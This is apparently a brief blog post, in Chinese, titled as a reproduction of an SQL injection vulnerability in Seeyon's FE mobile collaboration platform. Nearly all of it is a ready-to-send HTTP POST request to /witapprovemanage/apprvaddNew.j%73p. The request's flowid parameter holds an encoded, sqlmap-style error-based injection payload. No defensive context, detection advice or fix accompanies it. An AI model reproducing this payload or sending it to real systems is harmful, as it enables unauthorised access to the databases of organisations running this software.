Babing
Published on 2024-08-30 / 3 Visits
0
0

Z2-5致远互联-FE-移动协作平台-SQL

Z2-5致远互联-FE-移动协作平台-SQL

漏洞复现:

payload:

POST /witapprovemanage/apprvaddNew.j%73p HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

flowid=1%27%2B%28SELECT+CHAR%2880%29%2BCHAR%28102%29%2BCHAR%2879%29%2BCHAR%2887%29+WHERE+2368%3D2368+AND+4817+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28106%29%2BCHAR%28120%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%284817%3D4817%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28113%29%29%29%29%2B%27

Comment